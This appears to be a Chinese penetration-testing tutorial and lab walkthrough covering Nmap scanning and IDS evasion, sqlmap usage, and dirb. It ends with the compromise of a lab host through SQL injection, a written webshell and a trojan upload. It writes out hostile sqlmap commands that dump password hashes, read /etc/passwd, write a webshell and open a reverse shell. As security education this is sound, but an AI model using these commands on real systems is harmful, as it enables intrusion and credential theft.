内网渗透思考(实践)

工具简介

Nmap

  • Nmap(网络映射器)是一款用于网络发现和安全审计的网络安全工具,它是自由软件。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。Nmap包含四项基本功能:主机发现(Host Discovery),端口扫描(Port Scanning),版本侦测(Version Detection),操作系统侦测(Operating System Detection)。而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑),首先需要进行主机发现,随后确定端口状况,然后确定端口上运行具体应用程序与版本信息,然后可以进行操作系统的侦测。而在四项基本功能的基础上,Nmap提供防火墙与IDS(IntrusionDetection System,入侵检测系统)的规避技巧,可以综合应用到四个基本功能的各个阶段;另外Nmap提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。
  • 1、用法引入
    • 1.1、确定端口状况
      如果直接针对某台计算的IP地址或域名进行扫描,那么Nmap对该主机进行主机发现过程和端口扫描。该方式执行迅速,可以用于确定端口的开放状况。
      命令形式:
      nmap targethost
      可以确定目标主机在线情况及端口基本状况。
    • 1.2、完整全面的扫描
      如果希望对某台主机进行完整全面的扫描,那么可以使用nmap内置的-A选项。使用了该选项,nmap对目标主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。
      命令形式:
      nmap –T4 –A –v targethost
      其中-A选项用于使用进攻性(Aggressive)方式扫描;-T4指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;-v表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。
  • 2、主机发现
    主机发现(Host Discovery),即用于发现目标主机是否在线(Alive,处于开启状态)。
    • 2.1、主机发现原理
      主机发现的原理与Ping命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。Nmap支持十多种不同的主机探测方式,比如发送ICMP ECHO/TIMESTAMP/NETMASK报文、发送TCPSYN/ACK包、发送SCTP INIT/COOKIE-ECHO包,用户可以在不同的条件下灵活选用不同的方式来探测目标机。
      主机发现基本原理:(以ICMP echo方式为例),Nmap的用户位于源端,IP地址10.10.10.3,向目标主机10.10.10.4发送ICMP Echo Request。如果该请求报文没有被防火墙拦截掉,那么目标机会回复ICMP Echo Reply包回来。以此来确定目标主机是否在线。默认情况下,Nmap会发送四种不同类型的数据包来探测目标主机是否在线。1.ICMP echo request 2.a TCP SYN packet to port 443 3.a TCP ACK packet to port 80 4.an ICMP timestamp request依次发送四个报文探测目标机是否开启。只要收到其中一个包的回复,那就证明目标机开启。使用四种不同类型的数据包可以避免因防火墙或丢包造成的判断错误。
    • 2.2.2、主机发现的用法
      通常主机发现并不单独使用,而只是作为端口扫描、版本侦测、OS侦测先行步骤。而在某些特殊应用(例如确定大型局域网内活动主机的数量),可能会单独专门适用主机发现功能来完成。不管是作为辅助用法还是专门用途,用户都可以使用Nmap提供的丰富的选项来定制主机发现的探测方式。
      -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
      -sn: Ping Scan 只进行主机发现,不进行端口扫描。
      -Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
      -PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
      -PE/PP/PM: 使用ICMP echo, timestamp,netmask 请求包发现主机。
      -PO[protocollist]: 使用IP协议包探测对方主机是否开启。
      -n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
      --dns-servers <serv1[,serv2],...>: 指定DNS服务器。
      --system-dns: 指定使用系统的DNS服务器
      --traceroute: 追踪每个路由节点
      其中,比较常用的使用的是-sn,表示只单独进行主机发现过程;-Pn表示直接跳过主机发现而进行端口扫描等高级操作(如果已经确知目标主机已经开启,可用该选项);-n,如果不想使用DNS或reverse DNS解析,那么可以使用该选项。在局域网内,Nmap是通过ARP包来询问IP地址上的主机是否活动的,如果收到ARP回复包,那么说明主机在线。
      扫描局域网192.168.1.100-192.168.1.120范围内哪些IP的主机是活动的。
      命令如下:
      nmap –sn 192.168.1.100-120
  • 3、端口扫描
    端口扫描是Nmap最基本最核心的功能,用于确定目标主机的TCP/UDP端口的开放情况。
    默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。
    Nmap通过探测将端口划分为6个状态:
    open:端口是开放的。
    closed:端口是关闭的。
    filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。
    unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。
    open|filtered:端口是开放的或被屏蔽。
    closed|filtered :端口是关闭的或被屏蔽。
    • 3.1端口扫描原理
      Nmap在端口扫描方面非常强大,提供了十多种探测方式。
      • 3.1.1、TCP SYN scanning
        这是Nmap默认的扫描方式,通常被称作半开放扫描(Half-open scanning)。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)。因为该方式仅发送SYN包对目标主机的特定端口,但不建立的完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。
      • 3.1.2、TCP connect scanning
        TCP connect方式使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭。该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标机上留下记录信息,不够隐蔽。所以,TCP connect是TCP SYN无法使用才考虑选择的方式。
      • 3.1.3、TCP ACK scanning
        向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。
      • 3.1.4、TCP FIN/Xmas/NULL scanning
        这三种扫描方式被称为秘密扫描(Stealthy Scan),因为相对比较隐蔽。FIN扫描向目标主机的端口发送的TCP FIN包或Xmas tree包/Null包,如果收到对方RST回复包,那么说明该端口是关闭的;没有收到RST包说明端口可能是开放的或被屏蔽的(open|filtered)。其中Xmas tree包是指flags中FIN URG PUSH被置为1的TCP包;NULL包是指所有flags都为0的TCP包。
      • 3.1.5、UDP scanning
        UDP扫描方式用于判断UDP端口的情况。向目标主机的UDP端口发送探测包,如果收到回复“ICMP port unreachable”就说明该端口是关闭的;如果没有收到回复,那说明UDP端口可能是开放的或屏蔽的。因此,通过反向排除法的方式来断定哪些UDP端口是可能出于开放状态。
      • 3.1.6、其他方式
        除上述几种常用的方式之外,Nmap还支持多种其他探测方式。例如使用SCTP INIT/COOKIE-ECHO方式来探测SCTP的端口开放情况;使用IP protocol方式来探测目标主机支持的协议类型(TCP/UDP/ICMP/SCTP等等);使用idle scan方式借助僵尸主机(zombie host,也被称为idle host,该主机处于空闲状态并且它的IPID方式为递增)来扫描目标在主机,达到隐蔽自己的目的;或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐藏自己的身份的目的。
    • 3.2、端口扫描用法
      端口扫描用法比较简单,Nmap提供丰富的命令行参数来指定扫描方式和扫描端口。具体可以参见如下描述。
      • 3.2.1、扫描方式选项
        -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect/ACK/Window/Maimon scans的方式来对目标主机进行扫描。
        -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。
        -sN/sF/sX: 指定使用TCP Null, FIN, Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。
        --scanflags : 定制TCP包的flags。
        -sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)
        -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。
        -sO: 使用IP protocol 扫描确定目标机支持的协议类型。
        -b : 使用FTP bounce scan扫描方式
      • 3.2.2、端口参数与扫描顺序
        -p : 扫描指定的端口
        实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议)
        -F: Fast mode 快速模式,仅扫描TOP 100的端口
        -r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。
        --top-ports :扫描开放概率最高的number个端口(nmap的作者曾经做过大规模地互联网扫描,以此统计出网络上各种端口可能开放的概率,以此排列出最有可能开放端口的列表。默认情况下,nmap会扫描最有可能的1000个TCP端口)
        --port-ratio : 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数,让概率大于--port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。
    • 3.3、端口扫描演示
      这里,我们以扫描局域网内192.168.1.100主机为例。
      命令如下:
      nmap –sS –sU –T4 –top-ports 300 192.168.1.100
      参数-sS表示使用TCP SYN方式扫描TCP端口;-sU表示扫描UDP端口;-T4表示时间级别配置4级;--top-ports 300表示扫描最有可能开放的300个端口(TCP和UDP分别有300个端口)。
  • 4、版本侦测
    版本侦测,用于确定目标主机开放端口上运行的具体的应用程序及版本信息。Nmap提供的版本侦测具有如下的优点:高速。并行地进行套接字操作,实现一组高效的探测匹配定义语法。尽可能地确定应用名字与版本名字。支持TCP/UDP协议,支持文本格式与二进制格式。支持多种平台服务的侦测,包括Linux/Windows/Mac OS/FreeBSD等系统。如果检测到SSL,会调用openSSL继续侦测运行在SSL上的具体协议(如HTTPS/POP3S/IMAPS)。如果检测到SunRPC服务,那么会调用brute-force RPC grinder进一步确定RPC程序编号、名字、版本号。支持完整的IPv6功能,包括TCP/UDP,基于TCP的SSL。通用平台枚举功能(CPE)。广泛的应用程序数据库(nmap-services-probes)。目前Nmap可以识别几千种服务的签名,包含了180多种不同的协议。
    • 4.1、版本侦测原理
      版本侦测主要分为以下几个步骤:首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中Probe TCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的Banner与nmap-services-probes中NULL probe中的签名进行对比。查找对应应用程序的名字与版本信息。如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。如果探测到应用程序是SunRPC,那么调用brute-force RPC grinder进一步探测具体服务。
    • 4.2、版本侦测的用法
      版本侦测方面的命令行选项比较简单。
      -sV: 指定让Nmap进行版本侦测
      --version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
      --version-light: 指定使用轻量侦测方式 (intensity 2)
      --version-all: 尝试使用所有的probes进行侦测 (intensity 9)
      --version-trace: 显示出详细的版本侦测过程信息。
  • 5、OS侦测
    操作系统侦测用于检测目标主机运行的操作系统类型及设备类型等信息。Nmap拥有丰富的系统数据库nmap-os-db,目前可以识别2600多种操作系统与设备类型。
    • 5.1、OS侦测原理
      Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中,有些地方对TCP/IP的实现并没有强制规定,由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。具体实现方式如下:
      Nmap内部包含了2600多已知系统的指纹特征(在文件nmap-os-db文件中)。将此指纹数据库作为进行指纹对比的样本库。分别挑选一个open和closed的端口,向其发送经过精心设计的TCP/UDP/ICMP数据包,根据返回的数据包生成一份系统指纹。将探测生成的指纹与nmap-os-db中指纹进行对比,查找匹配的系统。如果无法匹配,以概率形式列举出可能的系统。
    • 5.2、OS侦测用法
      OS侦测的用法简单,Nmap提供的命令比较少。
      -O: 指定Nmap进行OS侦测。
      --osscan-limit: 限制Nmap只对确定的主机进行OS探测(至少需确知该主机分别有一个open和closed的端口)。
      --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。
  • 6、Nmap高级用法
    • 6.1、防火墙/IDS规避
      防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况。
      Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:数据包的变换(Packet Change)与时序变换(Timing Change)。
      • 6.1.1、规避原理
        • 6.1.1.1、分片(Fragmentation)
          将可疑的探测包进行分片处理(例如将TCP包拆分成多个IP包发送过去),某些简单的防火墙为了加快处理速度可能不会进行重组检查,以此避开其检查。
        • 6.1.1.2、IP诱骗(IP decoys)
          在进行扫描时,将真实IP地址和其他主机的IP地址(其他主机需要在线,否则目标主机将回复大量数据包到不存在的主机,从而实质构成了拒绝服务攻击)混合使用,以此让目标主机的防火墙或IDS追踪检查大量的不同IP地址的数据包,降低其追查到自身的概率。注意,某些高级的IDS系统通过统计分析仍然可以追踪出扫描者真实IP地址。
        • 6.1.1.3、IP伪装(IP Spoofing)
          顾名思义,IP伪装即将自己发送的数据包中的IP地址伪装成其他主机的地址,从而目标机认为是其他主机在与之通信。需要注意,如果希望接收到目标主机的回复包,那么伪装的IP需要位于统一局域网内。另外,如果既希望隐蔽自己的IP地址,又希望收到目标主机的回复包,那么可以尝试使用idle scan或匿名代理(如TOR)等网络技术。
        • 6.1.1.4、指定源端口
          某些目标主机只允许来自特定端口的数据包通过防火墙。例如FTP服务器配置为:允许源端口为21号的TCP包通过防火墙与FTP服务端通信,但是源端口为其他端口的数据包被屏蔽。所以,在此类情况下,可以指定Nmap将发送的数据包的源端口都设置特定的端口。
        • 6.1.1.5、扫描延时
          某些防火墙针对发送过于频繁的数据包会进行严格的侦查,而且某些系统限制错误报文产生的频率(例如,Solaris 系统通常会限制每秒钟只能产生一个ICMP消息回复给UDP扫描),所以,定制该情况下发包的频率和发包延时可以降低目标主机的审查强度、节省网络带宽。
        • 6.1.1.6、其他技术
          Nmap还提供多种规避技巧,比如指定使用某个网络接口来发送数据包、指定发送包的最小长度、指定发包的MTU、指定TTL、指定伪装的MAC地址、使用错误检查和(badchecksum)。
      • 6.1.2、规避用法
        -f; --mtu : 指定使用分片、指定数据包的MTU.
        -D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。
        -S <IP_Address>: 伪装成其他IP地址
        -e : 使用特定的网络接口
        -g/--source-port : 使用指定源端口
        --data-length : 填充随机数据让数据包长度达到Num。
        --ip-options : 使用指定的IP选项来发送数据包。
        --ttl : 设置time-to-live时间。
        --spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
        --badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)。
      • 6.1.3、规避演示
        使用命令:
        nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
        其中,-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。

SQLMAP

  • SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
  • 常见参数使用
    -u 注入点
    -f 指纹判别数据库类型
    -b 获取数据库版本信息
    -p 指定可测试的参数(?page=1&id=2 -p "page,id")
    -D 指定数据库名
    -T 指定表名
    -C 指定字段
    -s 保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
    --level=(1-5) 要执行的测试水平等级,默认为1
    --risk=(0-3) 测试执行的风险等级,默认为1
    --time-sec=(2,5) 延迟响应,默认为5
    --data 通过POST发送数据
    --columns 列出字段
    --current-user 获取当前用户名称
    --current-db 获取当前数据库名称
    --users 列数据库所有用户
    --passwords 数据库用户所有密码
    --privileges 查看用户权限(--privileges -U root)
    -U 指定数据库用户
    --dbs 列出所有数据库
    --tables -D "" 列出指定数据库中的表
    --columns -T "user" -D "mysql" 列出mysql数据库中的user表的所有字段
    --dump-all 列出所有数据库所有表
    --exclude-sysdbs 只列出用户自己新建的数据库和表
    --dump -T "" -D "" -C "" 列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
    --dump -T "" -D "" --start 2 --top 4 列出指定数据库的表的2-4字段的数据
    --dbms 指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
    --os 指定系统(Linux,Windows)
    -v 详细的等级(0-6)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容
    --privileges查看权限
    --is-dba 是否是数据库管理员
    --roles 枚举数据库用户角色
    --udf-inject 导入用户自定义函数(获取系统权限)
    --union-check 是否支持union注入
    --union-cols union 查询表记录
    --union-test union语句测试
    --union-use 采用union注入
    --union-tech orderby union配合orderby
    --data "" POST方式提交数据(--data"page=1&id=2")
    --cookie " 用;号分开",cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52;security=low”)
    --referer "" 使用referer欺骗(--referer "http://www.baidu.com")
    --user-agent "" 自定义user-agent
    --proxy "http://127.0.0.1:8118" 代理注入
    --string="" 指定关键词,字符串匹配
    --threads 采用多线程(--threads 3)
    --sql-shell 执行指定sql命令
    --sql-query 执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user='root' LIMIT0,1")
    --file-read 读取指定文件
    --file-write 写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
    --file-dest 要写入的文件绝对路径
    --os-cmd=id 执行系统命令
    --os-shell 系统交互shell
    --os-pwn 反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
    --msf-path= matesploit绝对路径(--msf-path=/opt/framework/msf3/)
    --reg-read 读取win系统注册表
    --time-sec= 延迟设置,默认--time-sec=5为5秒
    -p "user-agent" --user-agent "sqlmap/0.7rc1(http://sqlmap.sourceforge.net)" 指定user-agent注入
    --eta 盲注
  • 简单的注入流程
    1.读取数据库版本,当前用户,当前数据库
    sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
    2.判断当前数据库用户权限
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
    3.读取所有数据库用户或指定数据库用户的密码
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
    4.获取所有数据库
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
    5.获取指定数据库中的所有表
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
    6.获取指定数据库名中指定表的字段
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
    7.获取指定数据库名中指定表中指定字段的数据
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
    8.file-read读取文件
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
    9.file-write写入木马
    sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/shell.php --file-dest /var/www/html/xx.php -v 2

SQL注入的危害

  • 1.绕过登录验证:使用万能密码登录网站后台等。
  • 2.获取敏感数据:获取网站管理员帐号、密码等。
  • 3.文件系统操作:列目录,读取、写入文件等。
  • 4.注册表操作:读取、写入、删除注册表等。
  • 5.执行系统命令:远程执行命令。

解决方案

  • 1.过滤:通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生

    • 优点
      业务改动量小,部署方便,是安全防护软件/硬件常用的解决方案。
    • 缺点
      基于黑名单的工作原理,容易产生误报或被绕过。
  • 2.编码:基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句

    • 优点
      不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。
    • 缺点
      整改需要一定的工作量,需要数据库自身的支持,且理论上仍存在的绕过风险。
  • 3.预编译:基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令

    • 优点
      从根本上杜绝了SQL发生的可能性。
    • 缺点
      业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。

dirb

  • dirb是一个类似windows下御剑这些目录扫描工具
  • 常见参数使用
    -a <agent_string> : Specify your custom USER_AGENT.
    -c <cookie_string> : Set a cookie for the HTTP request.
    -f : Fine tunning of NOT_FOUND (404) detection.
    -H <header_string> : Add a custom header to the HTTP request.
    -i : Use case-insensitive search.
    -l : Print "Location" header when found.
    -N <nf_code>: Ignore responses with this HTTP code.
    -o <output_file> : Save output to disk.
    -p <proxy[:port]> : Use this proxy. (Default port is 1080)
    -P <proxy_username:proxy_password> : Proxy Authentication.
    -r : Don't search recursively.
    -R : Interactive recursion. (Asks for each directory)
    -S : Silent Mode. Don't show tested words. (For dumb terminals)
    -t : Don't force an ending '/' on URLs.
    -u username:password : HTTP Authentication.
    -v : Show also NOT_FOUND pages.
    -w : Don't stop on WARNING messages.
    -X / -x <exts_file> : Append each word with this extensions.
    -z : Add a miliseconds delay to not cause excessive Flood.

XX系统渗透过程

使用Nmap扫描同网段(10.10.10.0/24)的主机,发现目标存活主机10.10.10.133(排除本机.129和网关等)

尝试访问目标主机的80端口,发现如下web界面

使用dirb扫描目标网站,发现robots文件
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

访问robots文件,发现如下两个隐私目录

扫描/m3diNf0/目录,发现/m3diNf0/info.php文件

访问/m3diNf0/info.php,发现网站的物理路径/home/www/html/web1x443290o2sdf92213

扫描/se3reTdir777/目录,发现/se3reTdir777/index.php文件

访问/se3reTdir777/index.php,发现一个表单

在表单中输入1’,发现sql报错,证明存在sql注入漏洞,并且是POST请求

尝试了一般目录和暴力搜索可写目录,均没有权限

想到robots里有一个隐私目录/se3reTdir777/uploads/(上传目录),物理绝对路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,尝试将shell写入该目录,最终写入成功

ls查看当前目录,发现如下文件

访问上述文件,发现其中有一个具有文件上传点

上传木马(可直接通过shell交互,echo 木马代码 >shell.php)

使用蚁剑getShell

原文地址:https://www.cnblogs.com/HunterJ/p/12501140.html